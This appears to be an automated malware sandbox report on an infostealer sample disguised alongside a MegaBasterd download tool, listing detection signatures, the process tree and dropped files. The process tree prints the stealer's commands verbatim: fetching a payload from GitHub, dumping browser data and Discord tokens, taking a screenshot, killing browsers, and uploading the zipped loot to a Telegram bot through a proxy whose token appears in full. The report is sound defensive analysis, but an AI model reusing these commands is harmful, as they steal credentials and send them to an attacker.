Overview

overview

10

Static

static

10

2026-07-10...lc.exe

windows10-2004-x64

9

2026-07-10...lc.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    150s
  • max time network
    131s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 21:52

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-10_d753d03c2768399d114127d2d1d22f13_cryptbot_glassworm_icedid_luca-stealer_njrat_stealc.exe
  • Size 81.2MB
  • Sample260710-1rdbdadz3x
  • SHA256 81d9e4116eedb6dec8455913dc1bbb385fc9a50c42f310e5ef29c7524442f0a3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasionexecutionspywarestealer

Malware Config

Signatures

  • Detect binaries embedding considerable number of MFA browser extension IDs. 5 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 5 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 60 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-10_d753d03c2768399d114127d2d1d22f13_cryptbot_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-10_d753d03c2768399d114127d2d1d22f13_cryptbot_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3540
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Mega.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Mega.exe"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Suspicious use of WriteProcessMemory
      PID:3260
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c curl -L --retry 3 --retry-delay 2 -o "C:\Users\Admin\AppData\Local\Temp\\6408128f\payload.zip" "https://github.com/wubejack-cmd/jirom/releases/download/jirom/file.zip"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4644
        • C:\Windows\system32\curl.exe
          curl -L --retry 3 --retry-delay 2 -o "C:\Users\Admin\AppData\Local\Temp\\6408128f\payload.zip" "https://github.com/wubejack-cmd/jirom/releases/download/jirom/file.zip"
          4⤵
            PID:4552
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c powershell -Command "Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\\6408128f\payload.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\\6408128f\temp_extract' -Force"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1936
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\\6408128f\payload.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\\6408128f\temp_extract' -Force"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2140
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\\6408128f\temp_extract\chromelevator_x64.exe" -v -f all
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4456
          • C:\Users\Admin\AppData\Local\Temp\6408128f\temp_extract\chromelevator_x64.exe
            C:\Users\Admin\AppData\Local\Temp\\6408128f\temp_extract\chromelevator_x64.exe -v -f all
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:5076
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe"
              5⤵
                PID:2212
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                5⤵
                  PID:2760
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c curl -s http://ip-api.com/json > "C:\Users\Admin\AppData\Local\Temp\\6408128f\collect\ip_geo.txt"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3764
              • C:\Windows\system32\curl.exe
                curl -s http://ip-api.com/json
                4⤵
                  PID:2268
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap=New-Object System.Drawing.Bitmap $screen.Width,$screen.Height; $graphics=[System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X,$screen.Y,0,0,$screen.Size); $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\\6408128f\collect\screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png)"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5112
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap=New-Object System.Drawing.Bitmap $screen.Width,$screen.Height; $graphics=[System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X,$screen.Y,0,0,$screen.Size); $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\\6408128f\collect\screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png)"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4776
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\6408128f\discord.ps1"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4312
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\6408128f\discord.ps1"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2036
                  • C:\Windows\system32\taskkill.exe
                    "C:\Windows\system32\taskkill.exe" /F /IM chrome.exe
                    5⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3264
                  • C:\Windows\system32\taskkill.exe
                    "C:\Windows\system32\taskkill.exe" /F /IM msedge.exe
                    5⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5868
                  • C:\Windows\system32\taskkill.exe
                    "C:\Windows\system32\taskkill.exe" /F /IM brave.exe
                    5⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1040
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\6408128f\convert.ps1"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4180
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\6408128f\convert.ps1"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3536
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c robocopy "C:\Users\Admin\AppData\Local\Temp\\6408128f\output" "C:\Users\Admin\AppData\Local\Temp\\6408128f\data\Browsers" /E /R:0 /W:0 >nul
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3344
                • C:\Windows\system32\Robocopy.exe
                  robocopy "C:\Users\Admin\AppData\Local\Temp\\6408128f\output" "C:\Users\Admin\AppData\Local\Temp\\6408128f\data\Browsers" /E /R:0 /W:0
                  4⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3184
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c robocopy "C:\Users\Admin\AppData\Local\Temp\\6408128f\collect" "C:\Users\Admin\AppData\Local\Temp\\6408128f\data" /E /R:0 /W:0 >nul
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5740
                • C:\Windows\system32\Robocopy.exe
                  robocopy "C:\Users\Admin\AppData\Local\Temp\\6408128f\collect" "C:\Users\Admin\AppData\Local\Temp\\6408128f\data" /E /R:0 /W:0
                  4⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3992
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname > "C:\Users\Admin\AppData\Local\Temp\av_tmp.txt" 2>nul
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4576
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5200
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c powershell -Command "(Get-WmiObject -Class SoftwareLicensingProduct | Where-Object {$_.PartialProductKey -and $_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f'}).OA3xOriginalProductKey" > "C:\Users\Admin\AppData\Local\Temp\key_tmp.txt"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1168
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "(Get-WmiObject -Class SoftwareLicensingProduct | Where-Object {$_.PartialProductKey -and $_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f'}).OA3xOriginalProductKey"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2896
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c dir /s /b "C:\Users\Admin\AppData\Local\Temp\\6408128f\data\Browsers" 2>nul | find /c /v "" > "C:\Users\Admin\AppData\Local\Temp\cnt_tmp.txt"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2908
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" dir /s /b "C:\Users\Admin\AppData\Local\Temp\\6408128f\data\Browsers" 2>nul"
                  4⤵
                    PID:1756
                  • C:\Windows\system32\find.exe
                    find /c /v ""
                    4⤵
                      PID:1164
                  • C:\Windows\SYSTEM32\cmd.exe
                    cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\\6408128f\data\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\\6408128f\result.zip' -Force"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5020
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\\6408128f\data\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\\6408128f\result.zip' -Force"
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4304
                  • C:\Windows\SYSTEM32\cmd.exe
                    cmd.exe /c curl -F chat_id=7593646943 -F document=@"C:\Users\Admin\AppData\Local\Temp\\6408128f\result.zip" "https://hello-world.wubejack.workers.dev/bot8927863657:AAGEhTuGL1Py-YTZEaGdxAcn_cSswbBOpN0/sendDocument" --insecure --max-time 180 --retry 3 --retry-delay 5 --silent --output "C:\Users\Admin\AppData\Local\Temp\\6408128f\curl_send_resp.txt"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5560
                    • C:\Windows\system32\curl.exe
                      curl -F chat_id=7593646943 -F document=@"C:\Users\Admin\AppData\Local\Temp\\6408128f\result.zip" "https://hello-world.wubejack.workers.dev/bot8927863657:AAGEhTuGL1Py-YTZEaGdxAcn_cSswbBOpN0/sendDocument" --insecure --max-time 180 --retry 3 --retry-delay 5 --silent --output "C:\Users\Admin\AppData\Local\Temp\\6408128f\curl_send_resp.txt"
                      4⤵
                        PID:5452
                    • C:\Windows\SYSTEM32\cmd.exe
                      cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\6408128f\send.ps1"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1632
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\6408128f\send.ps1"
                        4⤵
                        • Badlisted process makes network request
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2756
                    • C:\Windows\SYSTEM32\cmd.exe
                      cmd.exe /c cmd /c del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Mega.exe"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5984
                      • C:\Windows\system32\cmd.exe
                        cmd /c del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Mega.exe"
                        4⤵
                          PID:2296
                    • C:\Program Files\Java\jre-1.8\bin\javaw.exe
                      "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\RarSFX0\MegaBasterd_8.57.jar"
                      2⤵
                      • Loads dropped DLL
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      • Suspicious use of SetWindowsHookEx
                      PID:2332
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:5144
                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                      1⤵
                        PID:4428

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 6f30aae6390d3bf1815c997a7bcd4126fb8e4093771c8ca4b0bf982a0ae573f4
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 c360e4e678957ce38441f03eb1d099d646fdde0a80c9363a15932533148aa1f9
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 c3450f7fcf7deacd684aff39e3cfe0c63ad7630478796a7448b47d317098a242
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 46073a74433748d5c9d9482ffe989706c4f9dbe8d657b71683e9a94dd53f3be5
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 825771428d756fa06bba3d06d9d18d8d581ea60f3b56b2084d53a332507aed3f
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            discord_tokens.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\collect\discord_tokens.txt
                            • Size 38B
                            • SHA256 28a601045c4111bd7f5aabd315ca80937e9e5a191c7a07978e426680e1d5ee5e
                            • MD5 SHA1 SHA512
                            Submit Download

                            info.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\collect\info.txt
                            • Size 557B
                            • SHA256 2faf698cee4cbec3b312b1ccccad4c09661e245931437a753c3a8ee3ca984a41
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            ip_geo.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\collect\ip_geo.txt
                            • Size 299B
                            • SHA256 404e8eba8a0919122e6e38755b31bc16515363f132d8aa9d44956826104224ba
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            screenshot.png
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\collect\screenshot.png
                            • Size 545KB
                            • SHA256 303f3c581e4977ca79df68dacc6bb30d01f4bf8d426cbbf3d2c4f08f5f0fb6e2
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            tokens_debug.log
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\collect\tokens_debug.log
                            • Size 549B
                            • SHA256 7185b86dbd6d062d829474db58683312716f87a28021c802c7487046070c58b2
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            valid_tokens.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\collect\valid_tokens.txt
                            • Size 50B
                            • SHA256 08af30fd204f415d8e693e225bb3b6d738cbe3d5612ec989c7008664ec5b3d5c
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            convert.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\convert.ps1
                            • Size 1KB
                            • SHA256 01386fa7703609eb79f0aa2c21f405f9693456ae563d031ce3f9361344ec5a59
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            curl_send_resp.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\curl_send_resp.txt
                            • Size 473B
                            • SHA256 2ab4b41bed7b560225503f17f09e7a48dd72eed24e5a10021456a5808e9bdb59
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            discord.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\discord.ps1
                            • Size 3KB
                            • SHA256 693a7a341c665a67dbe11338988bf76230f2fdc65177157041ffa9aadb53c387
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            msg.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\msg.txt
                            • Size 548B
                            • SHA256 3b168b257b6c7f884f274a18a6736986d71278b9139da58cda1e28e51b01f691
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            fingerprint.json
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\output\Chrome\fingerprint.json
                            • Size 868B
                            • SHA256 5c5c5607159b692aa1744abd3cc9fe1f4153b668a41ecb75c5cd66a208031874
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            payload.zip
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\payload.zip
                            • Size 2.5MB
                            • SHA256 37c8387a6b83832a8ae2f9c075d789fa1b9373ff2a3b34386fae0a4c0b66c14d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            result.zip
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\result.zip
                            • Size 530KB
                            • SHA256 228138cde0ba7bcd8c592c7b076e43f8f02d078f4b9cc0cad78380ad92089c1e
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            send.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\send.ps1
                            • Size 321B
                            • SHA256 6b0831dd4dcab08c6e41eaf01ba04f488819304978e9209e849323d844f1e8e9
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            chromelevator_x64.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\6408128f\temp_extract\chromelevator_x64.exe
                            • Size 1.4MB
                            • SHA256 e857298fd2f8d1c7d48780769433f33e7b3ceaae5ea5a74c13ce8c10bcc7b690
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            Mega.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Mega.exe
                            • Size 112KB
                            • SHA256 ddda428bef17a9414aba60748a67adffee7999fc060c776e3964851185cc11f0
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            __PSScriptPolicyTest_h4pfkb32.kuh.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h4pfkb32.kuh.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            av_tmp.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\av_tmp.txt
                            • Size 6B
                            • SHA256 2e08d1f6000aef541797d008c05ac36f4dbebfb36cbac5615788e6fcc5b300a7
                            • MD5 SHA1 SHA512
                            Submit Download

                            cnt_tmp.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\cnt_tmp.txt
                            • Size 3B
                            • SHA256 df4e26a04a444901b95afef44e4a96cfae34690fff2ad2c66389c70079cdff2b
                            • MD5 SHA1 SHA512
                            Submit Download

                            sqlite-3.43.0.0-cedabd48-a162-4a7b-a372-ad03c7fa48aa-sqlitejdbc.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\sqlite-3.43.0.0-cedabd48-a162-4a7b-a372-ad03c7fa48aa-sqlitejdbc.dll
                            • Size 926KB
                            • SHA256 7f99b81b58540d3e08a8766b0cf06857afb1550d285ef6d1be4a29e504f5c09f
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            memory/2140-21-0x00000243F4F40000-0x00000243F4F52000-memory.dmp
                            Download

                            memory/2140-15-0x00000243F4050000-0x00000243F4072000-memory.dmp
                            Download

                            memory/2140-18-0x00000243F49F0000-0x00000243F4A0E000-memory.dmp
                            Download

                            memory/2140-19-0x00000243F4C30000-0x00000243F4CE2000-memory.dmp
                            Download

                            memory/2140-20-0x00000243F4A10000-0x00000243F4A1A000-memory.dmp
                            Download

                            memory/2140-22-0x00000243F49F0000-0x00000243F49FA000-memory.dmp
                            Download

                            memory/2332-123-0x0000023941B20000-0x0000023941B21000-memory.dmp
                            Download

                            memory/2332-250-0x0000023941B20000-0x0000023941B21000-memory.dmp
                            Download

                            memory/2332-265-0x0000023941B20000-0x0000023941B21000-memory.dmp
                            Download

                            memory/2332-264-0x00007FFE94430000-0x00007FFE9451F000-memory.dmp
                            Download

                            memory/2332-263-0x0000023941B20000-0x0000023941B21000-memory.dmp
                            Download

                            memory/2332-257-0x0000023941B20000-0x0000023941B21000-memory.dmp
                            Download

                            memory/2332-247-0x0000023941B20000-0x0000023941B21000-memory.dmp
                            Download

                            memory/2332-163-0x0000023941B20000-0x0000023941B21000-memory.dmp
                            Download

                            memory/2332-185-0x0000023941B20000-0x0000023941B21000-memory.dmp
                            Download

                            memory/2332-193-0x0000023941B20000-0x0000023941B21000-memory.dmp
                            Download

                            memory/2332-230-0x0000023941B20000-0x0000023941B21000-memory.dmp
                            Download

                            memory/2332-229-0x0000023941B20000-0x0000023941B21000-memory.dmp
                            Download

                            memory/2756-101-0x000001D5E5420000-0x000001D5E5948000-memory.dmp
                            Download

                            memory/2756-100-0x000001D5E4D20000-0x000001D5E4EE2000-memory.dmp
                            Download

                            memory/3260-11-0x00007FF758E70000-0x00007FF758E94000-memory.dmp
                            Download

                            memory/3260-84-0x00007FF758E70000-0x00007FF758E94000-memory.dmp
                            Download

                            memory/3260-40-0x00007FF758E70000-0x00007FF758E94000-memory.dmp
                            Download

                            memory/3260-104-0x00007FF758E70000-0x00007FF758E94000-memory.dmp
                            Download